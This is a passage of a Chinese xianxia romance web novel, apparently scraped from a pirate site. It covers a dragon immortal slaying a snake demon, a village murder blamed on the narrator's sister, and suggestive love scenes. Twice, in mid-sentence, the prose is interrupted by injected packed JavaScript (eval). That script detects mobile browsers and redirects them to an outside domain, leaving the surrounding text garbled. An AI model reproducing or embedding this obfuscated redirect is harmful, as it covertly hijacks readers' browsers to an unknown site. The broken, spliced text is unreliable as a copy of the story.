可偷东西的人变成姐姐,我妈只会担心她吃没吃亏……
我呆呆站在昏暗的梦里,低头委屈掉眼泪。
有人来到我身边,握住我的手腕,掌心温暖让我安心……
“阿鸾,若是本尊早二十年就来到你身边,你会不会过的,开心些?”
我转身撞进他怀里,抱着他伤心痛哭。
他拍着我的肩,心疼安慰:“好了,都过去了,阿鸾听话,不哭。”
梦里有一缕红光想要悄悄钻进我眉心,但被他出手一掌击散……
“混账,滚出来!”
他一声威严低呵,瞬间有条大红蛇从梦里的宋花枝身体内钻了出来。
大红蛇盘着身子高高耸立,血色竖瞳勾魂摄魄,开口是妩媚的女人声:
“原来,这就是宋鸾镜的心结啊……龙仙不愧是龙仙,道行如此高深!差一点,我就看见了龙仙的心结呐~”
青漓扶着失魂落魄的我在凳子上坐下,拂袖挡在我身前,找大红蛇算账:“本尊没去收拾你,你倒自己送上门来了!”
大红蛇冷笑着蠕动光滑身躯:
“你抢走了我的盘中餐,我当然要来找你算账了!
龙仙,你既已下山,而我又效忠狐尊,那你我之间,必然会有一场较量。
我最讨厌多管闲事的龙了——拿命来!”
大红蛇耸头欲攻击青漓,青漓也瞬间化成了百米高的威武青龙。
一龙一蛇在我的梦里厮打了起来。
但大红蛇没与青龙过两招,就被青龙一个神龙摆尾撞飞了出去,轰然摔倒在地——
红蛇趴在地上呛咳两声。
没给她喘气的机会,青龙就一声龙啸,强大的神力压迫大红蛇不停后退——
十来秒后,只听母蛇一声凄惨嘶叫,随即那大红蛇就爆体而亡了!
但,红蛇爆体那一刹,似乎有滴蛇血溅进了我的眼眸……
我不舒服的别过头,抬手揉了揉眼睛。
可视线,却越来越模糊——
“阿鸾……”
——
翌日一早,听说村里又出事了……
老张家的孙女张彩虹昨天夜里被人挖了眼睛划烂了脸。
老张头早上去喊孙女起床时,他孙女的尸体都已经凉了!
张彩虹……
我记得,昨天来家里闹的那群人才提过张彩虹长得美,还说,要张彩虹取代宋花枝做圣女。
今天张彩虹就**。
我总觉得,这件事和宋花枝有关。
宋花枝憎恨张彩虹长得好看,担心张彩虹抢了自己的圣女身份,对张彩虹狠下**,也不是不可能。
但,如果宋花枝真的胆大到连**都这么肆无忌惮的地步,那现在的宋花枝,也太可怕了!
吃过早饭后,我去前院和妈一起剥毛豆。
宋花枝好像还没起床。
我剥着豆子犹豫开口,试探道:“花枝昨晚又干嘛了,现在还躺着,前几天不是起挺早么?”
妈似乎猜到了我在想什么,寒着脸说:
“昨晚赵二来找花枝了,两人拌了几句嘴,赵二一直到天亮才离开,花枝可能太累了,就睡得久了些。
花枝从昨晚到现在,都没有离开过家,我和赵二可以给她作证。”
第23章 只怪阿鸾太诱人
我手上动作一顿,无奈笑笑:“妈真的,很疼爱花枝。”
她听出我话里深意,随手将一把毛豆扔进菜筐里,重重叹道:
“妈知道,你姐姐之前,是做了不少过分的事。可你和你姐姐都是我的闺女,手心手背都是肉,妈说这个,那个不高兴,妈说那个,这个又生闷气。
镜镜啊,你打小就是最乖的那个,你明事理,比你姐姐懂事,妈是对你放心才敢稍稍偏袒你姐姐,疏忽你一些。
这些年你受了不少委屈,妈心里都明白,你怨妈,妈也没办法……谁让,咱娘俩欠你姐姐的呢?”
“欠?”我听得一头雾水。
我妈有理有据道:
“可不就是欠么,当初是我误将你姐姐当成骨仙转世,把她囚在家里,逼着她日夜不停歇地修炼。
她才五六岁大的年纪,我就将振兴九黎族的重任压在她肩上,整日在她耳边念叨,九黎族的未来就掌握在她的手里了,让她承担她那个年岁本不该承受的压力。
你还记得,你五六岁在做什么吗?你跟着赵二,在村里疯玩,在河边摸鱼抓虾。你姐姐,就在屋里背书,学巫术,修炼长生媚术。”
可当初,圣女这个身份,不是她主动争取的吗?
我可记得,她幼时好学,口口声声嚷嚷着自己就喜欢背书修**法。
我在河边摸鱼捉虾的时候,她还讥讽我没出息呢!
“后来你们都长大了,我把你送出去上学,却把她留在了村里。
我供你上小学、中学、大学,我把家里的钱都砸在了你一个人头上,可你姐姐呢,什么都没得到,她那么勤奋地修炼长生媚术,最后却一朝被反噬,前功尽弃!
原本,该被送出去长见识,受教育的人是你姐姐。是你,占了你姐姐的人生,难道,这不算是你欠你姐姐的么?”
我听完却不禁发笑,言辞犀利地问母亲:“妈,你现在是不是特别后悔当年没有弄清我们的身份,没有把姐姐送出去上学?”
我妈面不改色地淡淡道:
“事情既然已经发生了,妈和你说这些也不是存心想怪你,只是想让你看在你姐姐替你受了多年苦的份上,别和你姐姐一般见识。”
我无奈丢掉毛豆壳:
“妈,宋花枝在你的精心照养下长大,是你亲手培养出来的好女儿,你将毕生所学都毫无保留地传授给了她,这算是受苦吗?
何况,即便宋花枝真受了苦,那也是她自作自受。其实妈你心里都清楚,宋花枝比任何人都想做圣女。
什么叫我占了她的人生,明明是她自己不甘平庸,偏想做人上人,当圣女受村民追捧膜拜。
既然当圣女这么苦,怎么没见她在真相大白后,把圣女身份还回来呢?”
“你!”
我妈被我怼得语塞,隔了好一会,才挑眉阴阳怪气道:
“我怎么就忘记了呢,你宋鸾镜现在有龙仙撑腰,我这个妈当然不被你放在眼里,不过镜镜,看在我们俩是亲母女的份上,我还是得提醒你一句,别妄想和动物仙交心。
龙仙对你,不过是刚刚开始的一时新鲜罢了,总有一天,他找到了下一个猎物,你就会被抛弃遗忘!畜生,终究不是人!”
“妈,你还是别一口一个畜生,他是仙家,冒犯他,他可是会生气的。”我剥完手里的豆子起身离开。
我妈突然冲着我的背影喊道:“镜镜!你还是多留意龙仙吧,别被他蒙骗了!龙仙和你姐姐,关系可不干净。”
我停住步子,暗暗攥紧双手,直白开口反驳道:
“妈你不会也想说,龙仙和姐姐私下在一起了吧?龙仙有没有别的女人,妈觉得我这个枕边人会不清楚?”
开什么玩笑,青漓的精神,都用在对付我上了……
他要是在外偷吃还能和我折腾到半夜……我真的会服!
回到东院,我拿扫帚把院里的落叶清扫了一遍。
刚忙完直起身,一束野山花就被送进了我的视线里——
我欣喜接过粉红山花,开心问他:
“你上山了?我记得这花长在九黎山山顶上,生在悬崖峭壁的石缝里。我以前试图采过,但那边的山势太陡峭,我爬不上去……”
“想要,和本尊说一声,本尊顺手就摘了。”
他从后搂住我的腰,瞥了眼我手里的扫帚,疼惜道:
“这些活,用得着夫人亲自做么?以后本尊每天早起收拾,夫人不许碰。本尊将夫人留在身边,是享福的,不是让夫人做这些琐碎事的。”
我把扫帚靠在旁边的水井栏杆上,捧着花心情舒畅:“扫院子又不是体力活,这点家务事我还是能办好的,我没那么矫情。”
“不是矫情。”青漓低头,下颌倚在我肩上亲昵道:“是本尊不想让夫人劳累……罢了,还是变两个纸人出来干活吧,这样你我就都不用动手。”
他说完,抬手化出两张白色薄片纸人。
纸人在他掌心活过来,从他掌中爬起,纵身一跃。
双脚落地时原本只有十公分的迷你身影迅速长高长大,最终变得和五六岁孩子身形差不多……
两个小纸片人一落地就赶忙一个去拿扫帚,一个去拿垃圾斗,手脚利落地呼嘿呼嘿收拾地上成堆的落叶。
我震惊不已地捧着花看小纸人忙碌,新奇道:“还能这样?”
青漓单手揽我腰,另一只手幻化出粉嫩桃花,给我簪在鬓边,体贴道:
“你夫君我可是仙家,这种小法术,抬手即成。”
“那它们,能听懂我们说的话吗?”我小声探究。
青漓恣意勾唇:“当然可以。”
淡漠演示给我看:“去,给夫人泡杯茶。”
两只小纸人闻言立马扔了手里打扫卫生的工具,跑去厨房一阵折腾。
不到半分钟,一只小纸人就捧着一杯热水殷勤地送到了我面前。
另一只小纸人则也捧了一盏温茶出来,讨好地拉了拉青漓衣摆,把茶杯呈给青漓。
“这两只小家伙还蛮懂人情世故的嘛!”我好笑道。
青漓接过温茶放进我手里,自己则取了白开水润喉:“它们是本尊用法术造出来的,自然会下意识做出讨好本尊的举动。”
垂眸凝望着两只站得笔直的小人,青漓启唇叮嘱道:“你们以后就伺候在夫人身边,本尊不在时,替本尊保护夫人。”
两只小人儿立马点头如捣蒜。
我不好意思道:“你让它们保护我?还是算了吧,它们看起来薄薄的一片,好脆弱。真要是遇见什么事,我保护它们还差不多。”
青漓放下水杯,搂住我眉眼染笑:“夫人这话,倒是小瞧了它们。灵力造出来的纸人怎会像普通死物一般脆弱,这两只小纸人会的可多了,左边那个十八般武器样样都会耍。”
听青漓说了,左边纸人当场拾起扫帚配合着给我表演了一遍少林棍法——
“右边那个,力大无穷,一拳头下去能把人夯吐血。”
另一个纸人顿时着急的左右乱跑,找不到合适的道具证明,最后只能委屈的站回我们跟前,然后……一脚剁碎了院子里上年岁的古董青石花砖……
跺完,还用脚尖碾了碾,把碎石块都给碾成了齑粉……
我哑住。
不可思议的震惊鼓掌:“牛啊!”
两只小纸人表演完,还十分有仪式感的凑到一块,抱拳向我和青漓行了个礼,优雅退场……去收拾地上被踩烂的青石花砖。
会武术的纸人卖力扫着地,中途停顿了一下,转头往大力士纸人屁股上踹了一脚。
好像在谴责大力士纸人太能造。
“这两个小纸人还真有意思!”我昂头问青漓:“它俩,保质期多久?”
青漓趁我不注意,低头往我唇上用力吻了一下,厚着脸皮说:“只要不沾水火,它们可以一直陪着你。”
我更开心了,“那它俩有名字吗?”
青漓想了想,道:“本尊没有给纸人起名字的习惯,这两只,就劳夫人给它们起个姓名代号了。”
“不起名字怎么能分清谁是谁。”我抱着花,往他怀里挤挤:“不如,会武术的那个就叫小武,力大无穷的那个就叫大力?”
他笑眼盈盈:“都随夫人。”
两只纸人听我这么说,赶紧跑回来,大力没什么异议,倒是小武,疯狂挥舞双臂向我比划,也不知道到底想说什么。
“它怎么了?”我问青漓,青漓挑了挑眉峰,说:“它在向你请求,能不能把小武变成大武,它要和大力一样,听起来就很威猛。”
“小纸人脑瓜子里想的还挺多。”我忍不住笑出声,大方答应:“可以啊,那以后你就叫大武,你兄弟就叫大力!”
大武大力,听着就很能打!
大武高兴了,手舞足蹈地围着我跳了两圈,尔后才和大力一起弯腰鞠躬向我们表达感谢。
我叹了口气,惋惜道:“什么都好,就是不能开口说话……”
青漓鬓边一缕银丝落在我肩上,垂若软绸,
“还是不开口比较好,纸人虽开了灵智,但本尊分给它们的灵力不够,它们如今的智商只有七八岁孩童那么高,让它们开口,它们会叽叽喳喳吵个没完没了,本尊喜清静,太闹腾了本尊头疼。”
我哦了声,歪头好奇问:“那、你嫌我吵吗?”
“怎么会。本尊只是不喜欢孩子,又不是不喜欢夫人,本尊倒盼着夫人能多和本尊说话……如此,本尊心里方踏实些。”
我又拉长音:“哦——”恍然大悟,“阿漓不喜欢小孩子啊!”
他睁开繁星熠熠的青眸,抱紧我,吻我耳根,“但,如果是夫人生的,本尊就喜欢。”
“小孩子一生下来都很吵。”
“吵也喜欢。”
我脸红:“我现在,还不想生,听说生孩子很痛……”
他弯唇低笑:“那就不生,不要有心理负担。”
我欣然点头:“嗯!”把花送到他鼻尖,给他闻闻:“好香的。”
可他却丝毫不懂怜香惜玉,自我手里拿走花束,无情往地上一扔,揽着我的腰便将我打横抱起来,带去右边的紫藤花架下……
大武身手敏捷地及时接住那束掉落的山花,和大力一致傻傻看向我们——
我本能地抬起双臂搂住他脖子,看他这阵仗……怕又是想亲热!
我家这位龙仙,怎么像头喂不饱的野狼似的!
我面红耳赤地低吟:“阿漓……别,还在外面呢……”
男人弯腰将我放在花架下的石桌上……挺拔魁梧的好身材往我身上一压,吓得我脊背往后一倾。
他及时出掌捧住我的后腰,防止我就这么摔桌上闪了腰杆……
眯起好看妖冶的凤目,青眸透着暧昧幽光。
眼底有情欲掀起层层涟漪,他沉醉的目光落在我白皙的锁骨上,捧着我的腰,将我收进怀中,低头吻住……
薄唇寸寸往下,一瞬便在我的灵魂深处燃起了熊熊烈火。
我不知不觉地配合昂头,仰起脖颈,供他贪欢。
他眼尾染上点点猩红,薄唇碾压着肌肤,细细研磨。
再往下。
我扶住他的双肩,脸红嘤咛阻止:“别……”
他不顾我的阻拦,唇齿在我的肌肤上啄出朵朵红梅。
大手推起我的裙摆,腿上一阵冰冷。
来不及反抗,他的玉指便已抚了上去……
我心猿意马地捉住他手腕,脸上潮红滚烫,羞涩道:“东院、与外面没有门……”
他眼底醉意渐深,吻了吻我的嘴角,墨眉斜飞入鬓,凤目眼尾上挑,勾唇深情凝望我,神采奕奕肆意张扬:“无妨,她们不敢私闯。”
被他撩拨得心头一紧,我受不住地低头咬他脖子……
微微喘气,趴在他耳边求饶:“万一被人、看见……丢**了。”
他轻笑,胸膛起伏得极快,“不会。”
唇齿陡然咬得更紧,我被他折腾得满头大汗,桃花从鬓角狼狈跌落,我伸手去接,却被他握住手腕含笑谴责:“夫人在做这种事的时候,也不专心……”
我委屈反驳:“哪有!”
他将桃花取走,随后放在唇上,紧接着箍在我腰上的手臂猛一收——
他含着桃花吻住我。
淡淡桃花香被他渡进我口中,那只抚在我右腿肌肤上的手,继续为非作歹……
“阿漓、会被听见的……”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15445398|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>“你轻些声,就不会被人发现了。”
我有点尴尬,“明明、是光明正大的夫妻……怎么、整得像偷情。”
他被我逗得忍俊不禁,薄唇在我耳鬓厮磨:“还不是因为本尊的阿鸾……过于诱人。”
大力手里的水盆,哗哗啦啦,水全撒了……
我惊住,忙把头埋进他怀里,羞窘不已:“纸人、还在呢!”
他的银发落在我肩上,与我的青丝生出纠缠……
冰冷余光扫过那两只原地石化的纸人,故作凶狠:“再看,本尊挖了你们的眼珠子!”
两只纸人一哆嗦,赶紧转身捂眼面壁思过。
他正要尽情贪欢——
谁知门外却不合时宜地传来银杏大大咧咧的喊叫声——
“镜镜!我来找你了!还速速出来迎接本宫——”
尾音在看见我与青漓的那一瞬,被震得七零八落。
幸好青漓反应快,先一步抬广袖遮住了我的双腿,没让银杏看得太完全……
但、我俩如今这暧昧的姿势……还是一眼就能辨出来,是没在干好事……
银杏一口气没上来,小脸唰的一下就白了,慌乱转身捂眼,瑟瑟发抖的嘴碎嘀咕:“我没看见,我什么都没看见!呜呜妈妈啊,我不会长针眼吧!”
我羞得脸颊滚烫,埋进青漓怀里不好意思出来。
青漓镇定地给我整理好裙摆,又提了提我的衣领,将我裹严实。
大手轻轻拍了两下我的后背,处变不惊地问银杏:“你又来干什么。”
“我……”银杏没出息地怂道:“我来找、镜镜玩……”
缓了缓,突然抠字眼:“什么叫做我又来干什么……你还加个又!我告诉你,镜镜家我比你来的次数还多,我从小就成天往这里跑!我在这里待的时间,比你久多了!”
青漓故意吓唬她:“哦?这么能跑,那就把脚剁了吧!”
银杏的背影一僵,下一秒,扑通跪下,能屈能伸道:“我错了!龙仙老爷你说什么都是对的!”
我拿他俩实在没办法,这一见面就斗嘴都快成习惯了。
从青漓怀里出来,我跳下石桌,拍拍手和银杏说:“你起来吧,阿漓逗你的,他哪有那么凶残。”
银杏跪在地上冷笑一声,“他对你当然不会那么凶残,但对别人……呵呵,只可意会不可言传。”
我跑过去扶她起来:“你啊,整天歪理一大堆。”
银杏噘嘴不高兴地从地上爬起来,转头一看,身边还站着两只和她先前一样面朝院门捂着双眼的纸人。
“哎?这俩玩意是你们剪的吗?竟然能站起来哎!好可爱啊,还捂着眼……”
说着一巴掌盖大力脑袋上。
吓得大力原地蹦起来,还顺手惊到了旁边的大武……
两只纸人如惊弓之鸟般一蹦一跳地往厨房里跑。
刚跑进厨房,可能又发现哪里不对劲,掉头奔向了堂屋。
银杏僵在院子里,嘴角疯狂抽搐。
半晌,才鬼哭狼嚎一声惨叫,抱住我哇哇大哭:
“哇镜镜,你家闹鬼啦!我刚才看见脏东西啦!救命救命救命,它还会跑!”
我尴尬地愣在原地允许她拿我当树干抱。
心累地拍拍她肩膀,我和她解释:“那不是脏东西,那是青漓化出来干活的纸片人。”
银杏还是躲在我怀里抖如筛糠:“啊——什么审美啊!搞那么阴森恐怖,半夜看见它们不得被吓升天啊!”
“不会啊,我就感觉它们挺可爱……”
银杏激动反抗:“你是审美畸形!”
我:“……”
实在拿她没办法,我只能搬出青漓吓唬她了。
“你别这么说……万一惹怒了阿漓,他要把你揍畸形怎么办。”
银杏的哭声戛然而止。
两分钟后,银杏抹掉眼泪从我怀里出去,委屈巴巴地谴责:“镜镜没心没肺,龙仙心狠手辣!我愿称你们为,世上绝配!”
我,无语。
青漓不耐烦地扫她一眼:“有事说事,没事滚,再吵本尊掐断你的脖子!”
银杏浑身一抖,手臂上的汗**都竖起来了。
猛吞了口口水,银杏默默挪到我身边,挽住我胳膊,拿我做肉盾开始说正事:“你们听说,张彩虹的事了吗?”
我点头:“早上就听说了,被人挖了眼睛划烂脸弄死的……听说死相特别恐怖,村里去看过的人回家都吐了。”
银杏正经起来,道:“我爸早上也去看了尸体,检查了一遍,发现张彩虹身上有蛇毒。我爸让我过来提醒你们,最近几天当心些,可能是蛇妖回来寻仇了。”
青漓听罢气定神闲道:“蛇妖昨晚便被本尊解决了。”
“昨晚?解决了?”银杏惊讶得合不拢嘴:“龙仙效率这么高吗?”
青漓拿起被小纸人放在井边的那束野山花,“昨晚,她入了阿鸾的梦,被本尊截杀在阿鸾的梦里了。”
银杏顿时就明白了:“敢直接对镜镜下手,她可真是活腻了啊。太岁头上动土,不死她死谁。”
松了口气,银杏拍拍衣裳道:“那我爸就放心了,我爸从老张家回去以后,总说自己心神不宁。哦对了,我爸还说我房间里也有蛇气,吓我一跳。”
“那蛇,也进你的梦了?”我担忧追问。
昨晚,我是依稀记得,梦里有条大红蛇被青漓打的爆体而亡了……
银杏摇摇头:“没有啊!她没进我的梦,我昨晚睡得可香了!”
我这才把心放回肚子里:“那就好。”
“不过……”
银杏扭头看我,犹豫道:“我昨晚睡得迷迷糊糊的时候,似乎看见,有人进我房间了。那个身影,看着像……”
我不解的追问:“像谁?”
银杏抿了抿唇,“她穿着一身蓝纱裙子,腰上还有铃铛叮叮响,头上的银花簪子反光都快把我眼睛刺瞎了,手上还戴着一只银镯子。”
我神经一紧,“这描述听起来怎么像……”
银杏接过我的话,肯定道:“宋花枝!”
银杏、张彩虹……
这都是昨天那些女人们提过的人。
所以,昨晚宋花枝是想把银杏、也杀掉?!
第24章 阿鸾,你暂时还不能离开月阴村
“那后来呢?她有没有对你做些什么?”我不放心地追问。
银杏耸肩:“后来我貌似又听见家里的大**辟邪叫了两声,然后就睡死过去了。我也分不清那是梦,还是现实……只是觉得,真实感很强。”
青漓低声问我:“你是怀疑,张彩虹的死,和宋花枝有关?”
我没有隐瞒,颔首道:“对,如果昨晚宋花枝真的还去了银杏家,那张彩虹,十有**就是宋花枝下的手。”
银杏不明白的好奇追问:“这两件事之间,有什么关联吗?”
青漓清冷启唇:
“昨天村里的妇人们因为宋花枝如今只能让与她同房的男人们不变老,来找宋淑贞要说法。
期间提及重选圣女,提了你和张彩虹的名字做备选,宋花枝为此还和她们打了起来。”
“什么玩意儿?要我做新圣女的备选?她们疯了吧!我、和我爸根本不是你们九黎族的人啊!”
银杏顿时被吓得小脸煞白。
我无奈说:
“现在村里的人一大半都疯了,他们尝过了变年轻,百病不侵的甜头,现在满脑子只想着怎么才能像从前那样依靠长生媚术继续长生不老。
只要你能修炼成长生媚术,管你是哪族人,她们都会奉你为新圣女,将你视为新药引。”
“我才不干呢!”
银杏抵触得厉害,搓搓胳膊上的鸡皮疙瘩心直口快道:
“什么圣女,**还差不多!就像你姐姐,还没满二十就被你母亲想方设法地用歪门邪道培养……修得一身媚骨,现在床榻之上,一天都少不得男人。
我可是接受过高等教育的正常人,让我这么做,我还怕得病呢……村里那些男女老少,表面上圣女长圣女短,对你姐姐毕恭毕敬,私下里都骂得可脏了!”
我没办法的重重叹口气:
“你想当圣女,宋花枝也不会给你这个机会。
昨天那些大妈们只是顺嘴提到你和张彩虹都长得挺不错,是新圣女的合适人选,我母亲还没同意呢,她就迫不及待地动手了。
其实我一早出门洗衣服,在河边听洗菜大妈们说起张彩虹遭遇不测时,就已经下意识怀疑到宋花枝身上了。
但,我上午去找我妈套话,我妈却说宋花枝昨晚一直和赵二哥在一起,没有出过门。
我妈这么说,我也以为是自己多虑了,可经你这么一描述,我感觉,宋花枝昨晚极有可能真去你家了……
没对你下手也许是因为辟邪发现了她,李大叔又在你隔壁屋子里躺着,她怕惊醒了李大叔,才转头去残忍杀害了张彩虹。
郑彩虹家里,只有她和她爷爷在,老人家夜里睡得沉,很方便她动手。”
银杏心有余悸的恍然大悟:
“所以我昨晚是阴差阳错逃过了一场死劫?!也对啊,彩虹是被人挖掉双眼划烂脸活生生掐死的,足见凶手有多么恨彩虹。
彩虹那个小丫头平日沉默寡言的,也不爱和村里同龄人一起玩,整天就晓得窝在家里织毛衣做手工补贴家用,咱们月阴村里,谁会恨彩虹到这个地步!
就算是妖怪,也不至于**之前还挖人双眼划花人脸吧!分明就是凶手憎恨彩虹长得漂亮!”
银杏越说越痛心,牵住我的手难过道:
“彩虹她再过半个月才满十八周岁,她还那么年轻,可偏偏现在就因为别人一句随口说的话,无辜葬送了性命。
宋花枝简直太不是人了!宋族长真是偏心偏的太过了,宋花枝都**了她竟还帮忙包庇掩饰!
这事如果换成是你做的,你妈估摸早就把你绑起来送到祭台上烧**!”
我摇摇头,为难道:“可惜现在的推测,都只是我们的猜想,我们没有证据证明她就是凶手。”
银杏倒是看得明白,心累喃喃:
“就算有证据也白搭,宋花枝她是圣女,族长的女儿,你妈有的是法子保住她。”
“与其在这里唉声叹气。”青漓一语道破重点:“不如想想,怎么保住自己的小命。”
“保住我的小命?”银杏傻乎乎眨眼:“什么意思?”
青漓嫌弃瞟她一眼,把我的手从她那夺过来,霸道地握在自己掌心:
“你以为,想杀你的人,对你动一次手没成功便会知难而退吗?你觉得,她不会再去杀你一回?”
银杏怔住,小脸血色全无。
半晌,才后知后觉地惊恐向青漓求救:“那、怎么办啊……龙仙老爷,你可得救我啊!”
青漓睥睨着没出息的她,从容道:
“解决危险的最好方式,就是直面危险。今晚,她还会过去找你,届时,你们设法将她抓住,让她暴露想杀你的念头。
这样,不管能否证明她就是杀害张彩虹的凶手,以后只要你出事,她都是头号怀疑对象。
况且你若是不同她捅破这层窗户纸,明枪易躲暗箭难防,以后她耍阴招对付你,以你的脑子,毋庸置疑会吃亏。”
银杏尴尬闷咳两声:“虽然你说我脑子不好……但看在你是实打实给我出主意份上,这次,我忍!所以我们今晚要做的是……”
青漓言简意赅:“瓮中捉鳖。”
银杏秒懂,亢奋打个响指:“我就喜欢看宋花枝吃瘪!只可怜了枉死的彩虹……”
想了想,又察觉不妥:
“嗳不对啊,我爸说,彩虹身上有蛇毒,我房间中也有蛇气。
宋花枝一个人类,怎么会所过之处有蛇身上的气息呢。
而且我爸能分辨出那蛇气,就是灰狐狸手下大红蛇身上的。”
“宋花枝会控蛇术,能与蛇类沟通,说不准是两人暗中达成了什么交易。”青漓拧眉思索片刻,道:“晚上抓到宋花枝,审一审就清楚了。”
银杏点点头:“也对。”
与青漓商量好晚上的行动安排了,银杏便着急回家和李大叔同步消息。
我心情压抑地站在风口,深感精神疲倦:
“月阴村,真是麻烦不断。村子里被折腾的乌烟瘴气,我之前就不喜欢回来……”
转头征求青漓的意见:
“阿漓,等村里的麻烦事少些,这阵子过去了,我带你回省城吧。
我在月阴村,已经没什么可牵挂的了。你能离开九黎山吗?”
他抬手怜惜地抚了抚我脑袋,青眸深深:“阿鸾,我们暂时还不能离开月阴村,你的身体,需要月阴村的灵气供养。”
“我不是、已经转世成人了吗?”我不太理解:“为什么现在还需要月阴村的灵气滋养?”
“阿鸾还记得,本尊之前说过,阿鸾的前世是个地仙吗?
月阴村与阿鸾的前世颇有渊源,阿鸾从前的家已经回不去了。
如今只有月阴村的稀薄灵气能供养阿鸾的神魂,让阿鸾,慢慢恢复前世的修为。”
他用指腹轻摩挲我的眉梢,眸眼里深情楚楚:
“阿鸾难道不想恢复前世记忆,不想记起你我的前世情缘吗?”
前世……
我握住他的手背,乖乖用脸颊蹭他掌心:“前世已经过去了,只要我们今生还相守,不就是最好的结果吗?”
他执拗道:“不,我想你能记起来……”
温柔眸光落在我的眉间,他反握住我的手,抬起另一条胳膊,用修长玉指给我撩开额前小碎发,开口时的语气略带委屈:
“阿鸾这一世,望着本尊的眼神里,太多陌生。即便如今肯乖乖留在本尊身边,瞧着本尊的目光也不抵前世温暖。
阿鸾,本尊等了你整整三百二十二年,你不在的每一天,本尊都想你想得发狂。
阿鸾可知,本尊花了多少勇气,才敢直视你的冰冷眼眸……”
这话说的,我心里也一阵酸溜溜不是滋味,愧疚搂住他的腰,昂头轻轻喊他:“阿漓,对不起。”
的确,如果选择抛却前世忘却前缘,今生只简单地往前看,那对青漓实在太不公平了。
毕竟宋鸾镜的一生迄今为止只有二十二年,与他相处也不过短短半月。
可他与骨仙,却有两世情缘,他等了骨仙三百多年……
三百年,井水都会枯竭,大树都会老死。
普通男人能等自己的心上人三年十年就已经足够痴情值得被亲朋好友大肆宣扬夸赞了,可他,却执着地忍受了三百年的孤独。
我也不知道自己上辈子究竟与他有多深的感情,这一生我们刚刚认识,我虽然明白他是个值得信任依靠的伴侣,但到底还是感情没到……
我已经在试着更喜欢他了,可爱情、需要培养。
如果能恢复前世记忆,我就能以同样热烈的爱意回应他了。
他就不至于、像现在这样卑微委屈。
“傻瓜,和本尊说什么对不起……阿鸾,前世今生,都是本尊欠你的。”他大手温和抚过我背上长发。
我趴在他怀里好奇问:“前世,我们是怎么认识的?”
他沉笑:“前世的第一次相遇,和今生一样。你在山里采药,碰见了刚和仇家打完架的本尊……
你把受伤的本尊拎起来扔进背篓里,竟然让本尊和一堆讨厌难闻的草药待在一起。
偏偏,本尊又没有反抗的能力,只能被你压制着身上灵力,一路背回家。
你的前世同你一样心善,本尊在你前世的家中,被你养得很好。
原以为你是修行人士,救本尊只为了日行一善,待本尊养好了伤你就会放本尊自由。
岂料,后来你竟贪图本尊美色,强行和本尊结了灵契,逼本尊给你做灵宠。”
“灵宠?我前世有这么虎吗?”
怪不得他和我相处,总会有小宠讨好主人的行为……
原来是前世的习惯啊!
“当然有。”他不服气地低头暧昧咬我耳尖,软语逗我:“你前世,就是垂涎本尊美色!”
我故作无奈:“那也不能全怪我啊,谁让你长得这么好看……让人瞧上一眼,就念念不忘。”
他勾唇追问:“今生呢?你第一次看见本尊,是否,也回家后念念不忘?”
我尴尬地把头埋进他胸膛里,不好意思地坦白:
“实不相瞒,我小时候在山里第一次遇见你,也想把你带回家当宠物养来着……你要是不咬我那一口,说不定我就如愿以偿了!”
有一说一,青漓的本体……
是真的华美好看!
一身青鳞流光溢彩,比宝石还华贵夺目。
尤其是缩小版的小青蛇,一身熠熠青光,又惊艳,又可爱!
他闻言却忍俊不禁,温柔将我严严实实搂在怀里,藏在广袖下,不正经地亲吻我额角——
“想同阿鸾……做刚才没做完的事。”
我一僵,脸颊微烫,试图反抗:“阿漓……白日宣淫,伤身。”
他却霸道地低头含住我两瓣唇,眼里笑色明媚。
托住我的腰将我打横抱起来,潇洒带我进屋。
“和本尊双修……对你好,不会伤身。”
“可、我有点受不了这么频繁……昨晚闹了那么久,现在腰还酸疼着呢。”我窝在他怀里脸红装鸵鸟。
他不管不顾地带我进卧室,解衣躺回床上。
陪我同枕一个枕头,不安好心地牵住我的手,往自己腰腹处送……
“乖……这回带你摸尾巴。”
我老脸瞬间烫至耳根,“可、以吗?”
他故意温言软语的弯唇引诱:“当然可以,本尊的所有,都属于你……”
老实说,我们九黎族人可能是先祖的习性使然,天生就爱训蛇……
所以,完全抵挡不住蛇身的诱惑力啊!
我吞了口口水,没出息地妥协:“那、我们试试?”
他满意点头:“可以,夫人想哪种试法?”
我红着脸支吾道:“就,摸摸……”
可他却按住我的手,青眸深处划过一丝狡黠。
翻身便将我压制在大床上,存心勾引:
“乖,光摸有什么意思……为夫带夫人玩点不一样的!”
“啊?”
于是两个小时后,我彻底被他榨干在怀里。
哎,以后再也不信他说的就试一次了……
——
是夜。
我和银杏蹲在李大叔家院门口的荒草丛里,举着两片芭蕉叶遮住脑袋,静候鱼儿上钩。
银杏昂头看了眼乌云蔽月的昏暗夜空,不确定地问道:
“镜镜,你说宋花枝今晚会出现吗?现在都十点半了。”
我老实举着芭蕉叶蹲在深草丛里一动不动,闷声低喃:
“难说……只有百分之五十的可能。今晚钱长贵那老头去找花枝了,宋花枝一时半会应该脱不了身。”
“啊?那我们还等吗?”银杏挠了挠胳膊,浑身不自在地有点想打退堂鼓:“蹲在这里实在太难受了,蚊子好多,都快把我咬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452009|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
**。要不然咱们直接回去吧,大不了在家里等,也好过被蚊子抬走。”
